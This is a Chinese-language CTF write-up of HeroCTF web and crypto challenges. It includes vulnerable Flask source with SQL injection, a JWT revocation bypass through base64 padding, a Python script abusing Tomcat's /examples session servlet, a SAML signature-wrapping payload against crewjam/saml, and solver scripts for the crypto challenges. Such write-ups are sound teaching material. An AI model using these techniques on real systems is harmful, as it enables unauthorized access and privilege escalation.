web#

Revoked#

1
import os
2
import secrets
3
import sqlite3
4
import time
5
from functools import wraps
6

7
import bcrypt
8
import jwt
9
from dotenv import load_dotenv
10
from flask import (
11
    Flask,
12
    flash,
13
    jsonify,
14
    make_response,
15
    redirect,
16
    render_template,
17
    request,
18
)
19

20
app = Flask(__name__)
21
app.static_folder = "static"
22
load_dotenv()
23
app.config["SECRET_KEY"] = "".join(
24
    [secrets.choice("abcdef0123456789") for _ in range(32)]
25
)
26
FLAG = os.getenv("FLAG")
27

28

29
def init_db():
30
    conn = sqlite3.connect("database.db")
31
    cursor = conn.cursor()
32
    cursor.execute("""DROP TABLE IF EXISTS employees;""")
33
    cursor.execute("""DROP TABLE IF EXISTS revoked_tokens;""")
34
    cursor.execute("""DROP TABLE IF EXISTS users;""")
35
    cursor.execute("""CREATE TABLE IF NOT EXISTS users (
36
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
37
                        username TEXT UNIQUE NOT NULL,
38
                        is_admin BOOL NOT NULL,
39
                        password_hash TEXT NOT NULL)""")
40
    cursor.execute("""CREATE TABLE IF NOT EXISTS revoked_tokens (
41
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
42
                        token TEXT NOT NULL)""")
43
    cursor.execute("""CREATE TABLE IF NOT EXISTS employees (
44
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
45
                        name TEXT NOT NULL,
46
                        email TEXT UNIQUE NOT NULL,
47
                        position TEXT NOT NULL,
48
                        phone TEXT NOT NULL,
49
                        location TEXT NOT NULL)""")
50
    conn.commit()
51
    conn.close()
52

53

54
def get_db_connection():
55
    conn = sqlite3.connect("database.db")
56
    conn.row_factory = sqlite3.Row
57
    return conn
58

59

60
def token_required(f):
61
    @wraps(f)
62
    def decorated(*args, **kwargs):
63
        token = request.cookies.get("JWT")
64
        if not token:
65
            flash("Token is missing!", "error")
66
            return redirect("/login")
67

68
        try:
69
            data = jwt.decode(token, app.config["SECRET_KEY"], algorithms=["HS256"])
70
            username = data["username"]
71

72
            conn = get_db_connection()
73
            user = conn.execute(
74
                "SELECT id,is_admin FROM users WHERE username = ?", (username,)
75
            ).fetchone()
76
            revoked = conn.execute(
77
                "SELECT id FROM revoked_tokens WHERE token = ?", (token,)
78
            ).fetchone()
79
            conn.close()
80

81
            if not user or revoked:
82
                flash("Invalid or revoked token!", "error")
83
                return redirect("/login")
84

85
            request.is_admin = user["is_admin"]
86
            request.username = username
87

88
        except jwt.InvalidTokenError:
89
            flash("Invalid token!", "error")
90
            return redirect("/login")
91

92
        return f(*args, **kwargs)
93

94
    return decorated
95

96

97
@app.route("/", methods=["GET"])
98
def index():
99
    token = request.cookies.get("JWT", None)
100
    if token is None:
101
        return redirect("/login")
102
    else:
103
        return redirect("/employees")
104

105

106
@app.route("/register", methods=["GET", "POST"])
107
def register():
108
    if request.method == "GET":
109
        return render_template("register.html")
110
    elif request.method == "POST":
111
        data = request.form
112
        username = data.get("username")
113
        password = data.get("password")
114

115
        if not username or not password:
116
            return jsonify({"message": "Username and password required!"}), 400
117

118
        password_hash = bcrypt.hashpw(
119
            password.encode("utf-8"), bcrypt.gensalt()
120
        ).decode("utf-8")
121

122
        conn = get_db_connection()
123
        try:
124
            conn.execute(
125
                "INSERT INTO users (username, is_admin, password_hash) VALUES (?, ?, ?)",
126
                (username, False, password_hash),
127
            )
128
            conn.commit()
129
        except sqlite3.IntegrityError:
130
            flash("User already exists.", "error")
131
            return redirect("/register")
132
        finally:
133
            conn.close()
134

135
        flash("User created successfully.", "success")
136
        return redirect("/login")
137

138

139
@app.route("/login", methods=["GET", "POST"])
140
def login():
141
    if request.method == "GET":
142
        return render_template("login.html")
143
    elif request.method == "POST":
144
        data = request.form
145
        username = data.get("username")
146
        password = data.get("password")
147

148
        conn = get_db_connection()
149
        user = conn.execute(
150
            "SELECT * FROM users WHERE username = ?", (username,)
151
        ).fetchone()
152
        conn.close()
153

154
        if user and bcrypt.checkpw(
155
            password.encode("utf-8"), user["password_hash"].encode("utf-8")
156
        ):
157
            token = jwt.encode(
158
                {
159
                    "username": username,
160
                    "is_admin": user["is_admin"],
161
                    "issued": time.time(),
162
                },
163
                app.config["SECRET_KEY"],
164
                algorithm="HS256",
165
            )
166
            resp = make_response(redirect("/employees"))
167
            resp.set_cookie("JWT", token)
168
            return resp
169

170
        flash("Invalid credentials.", "error")
171
        return redirect("/login")
172

173

174
@app.route("/logout", methods=["GET"])
175
def logout():
176
    token = request.cookies.get("JWT")
177
    if token:
178
        conn = get_db_connection()
179
        conn.execute("INSERT INTO revoked_tokens (token) VALUES (?)", (token,))
180
        conn.commit()
181
        conn.close()
182
    resp = make_response(redirect("/login"))
183
    resp.delete_cookie("JWT")
184
    return resp
185

186

187
@app.route("/employees", methods=["GET"])
188
@token_required
189
def employees():
190
    query = request.args.get("query", "")
191
    conn = get_db_connection()
192
    cursor = conn.cursor()
193
    cursor.execute(
194
        f"SELECT id, name, email, position FROM employees WHERE name LIKE '%{query}%'"
195
    )
196
    results = cursor.fetchall()
197
    conn.close()
198
    print(request.username)
199
    return render_template("employees.html", username=request.username, employees=results, query=query)
200

201

202
@app.route("/employee/<int:employee_id>", methods=["GET"])
203
@token_required
204
def employee_details(employee_id):
205
    conn = get_db_connection()
206
    employee = conn.execute(
207
        "SELECT * FROM employees WHERE id = ?", (employee_id,)
208
    ).fetchone()
209
    conn.close()
210
    print(employee)
211
    if not employee:
212
        flash("Employee not found", "error")
213
        return redirect("/employees")
214
    return render_template("employee_details.html", username=request.username, employee=employee)
215

216

217
@app.route("/admin", methods=["GET"])
218
@token_required
219
def admin():
220
    is_admin = getattr(request, "is_admin", None)
221
    if is_admin:
222
        return render_template("admin.html", username=request.username, flag=FLAG)
223

224
    flash("You don't have the permission to access this area", "error")
225
    return redirect("/employees")
226

227

228
if __name__ == "__main__":
229
    init_db()
230
    app.run(debug=False, host="0.0.0.0", port=5000)

考点是系统通过检查 revoked_tokens 表来判断 Token 是否失效。

1
revoked = conn.execute(
2
    "SELECT id FROM revoked_tokens WHERE token = ?", (token,)
3
).fetchone()
4

5
if not user or revoked:
6
    flash("Invalid or revoked token!", "error")
7
    return redirect("/login")

这里存在一个逻辑缺陷： SQL 查询使用的是精确字符串匹配，而 JWT 解码库 ( pyjwt ) 对 Base64 填充字符（Padding）是不敏感的。 JWT 由三部分组成（Header.Payload.Signature），使用 Base64Url 编码。标准 Base64 编码的长度应该是 4 的倍数，不足时使用 = 填充。Base64Url 通常会省略 = ，但大多数解码器（包括 pyjwt ）都能同时处理带填充和不带填充的版本。

如果我们在 Token 末尾添加一个 = （且不破坏 Base64 格式），对于 pyjwt 来说它仍然是同一个有效的 Token（解码出的二进制签名一致），但对于数据库来说，它是一个完全不同的字符串，从而绕过 revoked_tokens 表的黑名单检查。

Revoked Revenge#

和Revoked一样有点hyw

Tomwhat#

1. 源代码审计

通过分析题目提供的源码（Dockerfile, run.sh, Java Servlet 代码）：

LightServlet (/light/): 允许用户设置 session 中的 username，但明确禁止设置为 darth_sidious。

1
if ("darth_sidious".equalsIgnoreCase(username)) {
2
    req.setAttribute("error", "Forbidden username.");
3
    // ...
4
}

DarkServlet & AdminServlet (/dark/): AdminServlet 只有当 session 中的 username 为 darth_sidious 时才会输出 flag。

1
if ("darth_sidious".equalsIgnoreCase(username)) {
2
    html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>");
3
}

2. 关键配置 (The “Magic”)

在 run.sh 中，我们发现了几处关键的 Tomcat 配置修改：

Session 共享:
Terminal window
```
1
sed -i 's/<Context>/<Context sessionCookiePath="\/">/' "$f"
```
这行命令将所有应用的 Session Cookie 路径设置为根目录 /。这意味着，你在一个应用（如 /light）中获得的 JSESSIONID，在访问另一个应用（如 /dark）时也会被浏览器发送。
持久化存储: 使用了 PersistentManager 和 FileStore，将 Session 存储在磁盘的临时目录下。这意味着只要 Session ID 相同，不同的 Web Context（应用）可以读取到同一个 Session 对象（前提是它们能反序列化其中的对象，这里是简单的 String，没问题）。

3. 寻找突破口

既然 /light 应用禁止我们设置 darth_sidious，我们需要找到另一个途径来往 Session 中写入数据。

通过探测或经验可知，默认的 Tomcat 安装通常包含 /examples/ 示例应用。虽然题目描述中没有明确提及，但 Dockerfile 是基于官方 Tomcat 镜像构建的，且没有删除默认应用。

访问 http://host:port/examples/ 发现是存在的。在 /examples/servlets/servlet/SessionExample 中，有一个示例 Servlet 允许用户任意设置 Session 属性名和属性值。

Exploit

利用 /examples/ 设置 Session: 访问 Tomcat 自带的 Session 示例页面，构造请求将 username 设置为 darth_sidious。
- URL: http://dyn06.heroctf.fr:14033/examples/servlets/servlet/SessionExample
- Parameters: dataname=username, datavalue=darth_sidious
访问 /dark/admin 获取 Flag: 由于 sessionCookiePath="/" 的配置，刚才获取的 JSESSIONID 会自动带入到对 /dark/admin 的请求中。Tomcat 会加载同一个 Session，读取到我们刚刚写入的 username。

自动化脚本 (Python)

1
import requests
2

3
base_url = "http://dyn06.heroctf.fr:14033"
4
session_url = f"{base_url}/examples/servlets/servlet/SessionExample"
5
admin_url = f"{base_url}/dark/admin"
6

7
s = requests.Session()
8

9
# 1. 利用 examples 应用设置 session 属性
10
# 这绕过了 LightServlet 的输入检查
11
print(f"[*] Setting session attribute via {session_url}...")
12
payload = {
13
    "dataname": "username",
14
    "datavalue": "darth_sidious"
15
}
16
s.get(session_url, params=payload)
17

18
# 2. 带着同一个 Session 访问 admin
19
print(f"[*] Accessing {admin_url}...")
20
r = s.get(admin_url)
21

22
print("[*] Response:")
23
print(r.text)

SAMLevinson#

SAML 是一种基于 XML 的标准，用于在 身份提供商 (IDP) 和 服务提供商 (SP) 之间交换身份数据。

正常流程: 用户在 IDP 登录 -> IDP 生成包含用户信息的 XML (SAML Response) -> IDP 对其签名 -> 用户将 Response 发送给 SP -> SP 验证签名 -> SP 信任并登录用户。
漏洞成因: 在 crewjam/saml 库的 0.4.9 版本之前，SP 在处理包含多个断言 (Assertion) 的 SAML 响应时存在逻辑缺陷：
1. 它会正确验证第一个断言的数字签名。
2. 但是，在提取用户属性（如用户名、用户组）时，它会遍历所有断言。
3. 利用点: 攻击者可以在合法的、已签名的断言后面，追加一个恶意的、未签名的断言。SP 验证了第一个断言的签名，认为响应合法，随后却读取了第二个恶意断言中的数据（如 uid=admin），从而导致权限提升。

第一步：环境探测与正常登录

题目提供了两个 URL：

SP (应用端): http://web.heroctf.fr:8080
IDP (认证端): http://web.heroctf.fr:8081

以及普通用户凭证：user / oyJPNYd3HgeBkaE%!rP#dZvqf2z*4$^qcCW4V6WM。

我们首先进行一次正常的登录流程，目的是获取一个合法的 SAMLResponse。

访问 http://web.heroctf.fr:8080/flag，被重定向到 IDP。
使用提供的账号密码在 IDP 登录。
IDP 验证通过后，会生成一个 HTML 表单，自动 POST 提交 SAMLResponse 给 SP。
关键操作: 我们需要拦截并保存这个原始的 SAMLResponse (Base64 编码字符串)。

第二步：构造恶意 Payload (SAML 注入)

这是解题的核心。我们需要编写脚本处理 XML。

逻辑如下：

解码: 将拦截到的 Base64 字符串解码为 XML 文本。
定位合法断言: 在 XML 中找到 <saml:Assertion> 节点。这是由 IDP 签名的，我们要保留它以通过 SP 的签名验证。
克隆并伪造:
- 复制: 将该 Assertion 节点完整复制一份。
- 去签: 删除副本中的 <ds:Signature> 节点（因为我们没有 IDP 的私钥，无法生成有效签名，且留着无效签名会导致验证失败）。
- 修改 ID: 为副本生成一个新的随机 ID 属性（避免 ID 冲突）。
- 提权: 修改副本中的属性值。
  - 将 uid 的值从 user 改为 admin。
  - 将 eduPersonAffiliation 的值从 Users 改为 Administrators。
注入: 将伪造的 Assertion 插入到 XML 的 <samlp:Response> 根节点中，紧跟在合法 Assertion 之后。
编码: 将修改后的 XML 重新进行 Base64 编码。

第三步：发送攻击请求

使用 curl 或 Python 脚本，向 SP 的 ACS (Assertion Consumer Service) 接口发送 POST 请求。

URL: http://web.heroctf.fr:8080/saml/acs
Data:
- RelayState: (保持原始登录流程中的值)
- SAMLResponse: (我们伪造的 Base64 字符串)

4. Payload 结构可视化

修改后的 XML 结构大致如下：

1
<samlp:Response ...>
2
    <!-- 1. 合法的、已签名的断言 (用于绕过签名验证) -->
3
    <saml:Assertion ID="id-valid-signed">
4
        <ds:Signature> ... (有效的 IDP 签名) ... </ds:Signature>
5
        <saml:Attribute Name="uid">user</saml:Attribute>
6
        <saml:Attribute Name="eduPersonAffiliation">Users</saml:Attribute>
7
    </saml:Assertion>
8

9
    <!-- 2. 恶意的、未签名的断言 (用于污染属性) -->
10
    <saml:Assertion ID="id-malicious-unsigned">
11
        <!-- 注意：这里没有 Signature 节点 -->
12
        <saml:Attribute Name="uid">admin</saml:Attribute>
13
        <saml:Attribute Name="eduPersonAffiliation">Administrators</saml:Attribute>
14
    </saml:Assertion>
15
</samlp:Response>

5. 结果验证

服务器处理逻辑：

检查 XML 结构。
验证 Assertion[0] 的签名 -> 通过 (因为它是原版未动的)。
加载用户属性 -> 库函数遍历所有 Assertion -> 读取到了 uid=admin 和 Group=Administrators。
更新 Session -> 用户变为管理员。

最终页面返回：

1
<div class="brand">⚑ HeroCTF • Protected Area</div>
2
<div class="who"><span class="tag admin">Admin</span></div>
3
...
4
<pre class="flag" id="flagBox">Hero{S4ML_3XPL01T_FR0M_CR3J4M}</pre>

crypto#

Andor#

关键代码

1
#!/usr/bin/env python3
2
import secrets
3

4
AND = lambda x, y: [a & b for a, b in zip(x, y)]
5
IOR = lambda x, y: [a | b for a, b in zip(x, y)]
6

7
with open("flag.txt", "rb") as f:
8
    flag = [*f.read().strip()]
9
    l = len(flag) // 2
10

11
while True:
12
    k = secrets.token_bytes(len(flag))
13
    a = AND(flag[:l], k[:l])
14
    o = IOR(flag[l:], k[l:])
15

16
    print("a =", bytearray(a).hex())
17
    print("o =", bytearray(o).hex())
18
    input("> ")

上半部分：AND 运算 (a = flag_top & k)

公式： $a = flag \land k$
特性：AND 运算只要有一位是 0，结果就是 0；只有当两位都是 1 时，结果才是 1。
推论：如果在某次随机尝试中，结果 a 的某一位是 1，那么 flag 对应的位必须是 1。
攻击方法：我们收集多次结果，将它们进行 按位或（Bitwise OR） 运算。只要尝试次数足够多，随机数 k 总会覆盖到所有的位，最终还原出 flag 中所有的 1。
- $Recovered_{top} = a_1 \lor a_2 \lor a_3 \dots \lor a_n$

下半部分：OR 运算 (o = flag_bottom | k)

公式： $o = flag \lor k$
特性：OR 运算只要有一位是 1，结果就是 1；只有当两位都是 0 时，结果才是 0。
推论：如果在某次随机尝试中，结果 o 的某一位是 0，那么 flag 对应的位必须是 0。
攻击方法：我们收集多次结果，将它们进行 按位与（Bitwise AND） 运算。初始状态假设 flag 全是 1，通过不断的 AND 运算，把 flag 中原本是 0 的位置“削”出来。
- $Recovered_{bottom} = o_1 \land o_2 \land o_3 \dots \land o_n$

exp

1
from pwn import *
2
from Crypto.Util.number import long_to_bytes
3

4
# r = process(['python3', 'chal.py'])
5
r = remote('crypto.heroctf.fr', 9000)
6
context.log_level = 'error'
7

8
top, bottom = 0, -1
9

10
for _ in range(60):
11
    r.recvuntil(b"a = ")
12
    top |= int(r.recvline().strip(), 16)
13
    r.recvuntil(b"o = ")
14
    bottom &= int(r.recvline().strip(), 16)
15
    r.sendline(b"")
16

17
print(long_to_bytes(top) + long_to_bytes(bottom))

Perilous#

关键代码

1
def encrypt(k: str, m: str) -> str:
2
    k = bytes.fromhex(k)
3
    m = bytes.fromhex(m)
4

5
    if k in KEYS:
6
        raise Exception("Duplicate key used, aborting")
7

8
    KEYS.append(k)
9

10
    algorithm = algorithms.ARC4(k)
11
    cipher = Cipher(algorithm, mode=None)
12
    encryptor = cipher.encryptor()
13

14
    m = xor(m, MASK)
15
    m = encryptor.update(m)
16
    m = xor(m, MASK)
17
    return m.hex()

这道题的核心是一个数学障眼法（Red Herring）。

虽然代码看起来很复杂，引入了一个随机的 MASK 并进行了两次异或操作，但实际上这些操作完全相互抵消了。

让我们看看加密函数中的核心逻辑：

1
m = xor(m, MASK)        # 第一步：与 MASK 异或
2
m = encryptor.update(m) # 第二步：RC4 加密
3
m = xor(m, MASK)        # 第三步：再次与 MASK 异或

我们需要知道两个关键点：

RC4 是流密码（Stream Cipher）：它的本质是生成一个密钥流（Keystream, 设为 $S$ ），然后与明文进行异或。即 RC4(m) = m ^ S。
异或的性质：
- 交换律： $A \oplus B = B \oplus A$
- 结合律： $(A \oplus B) \oplus C = A \oplus (B \oplus C)$
- 自反性： $A \oplus A = 0$ ，且 $X \oplus 0 = X$ 。

将加密过程写成数学公式： $Ciphertext = (\text{Plaintext} \oplus \text{MASK}) \oplus S \oplus \text{MASK}$

利用结合律和交换律重新排列： $Ciphertext = \text{Plaintext} \oplus S \oplus (\text{MASK} \oplus \text{MASK})$

因为 $\text{MASK} \oplus \text{MASK} = 0$ ，所以： $Ciphertext = \text{Plaintext} \oplus S$

结论：MASK 完全没用！这个加密函数等价于标准的 RC4 加密。你不需要知道 MASK 是什么，也不需要关心它。

exp：

1
from pwn import *
2

3
# 16字节 Key 防止服务器报错
4
key = b'0' * 32
5

6
# 1. 获取加密 Flag
7
r1 = remote('crypto.heroctf.fr', 9001)
8
r1.sendlineafter(b': ', key)
9
flag_enc = bytes.fromhex(r1.recvline().strip().decode())
10
r1.close()
11

12
# 2. 获取密钥流 (Keystream)
13
r2 = remote('crypto.heroctf.fr', 9001)
14
r2.sendlineafter(b': ', b'1' * 32)             # 跳过开场
15
r2.sendlineafter(b': ', key)                   # 重用 Key
16
r2.sendlineafter(b': ', b'00' * len(flag_enc)) # 发送全0明文
17
keystream = bytes.fromhex(r2.recvline().strip().decode())
18
r2.close()
19

20
# 3. 解密 (利用 pwn 自带 xor)
21
print(xor(flag_enc, keystream).decode())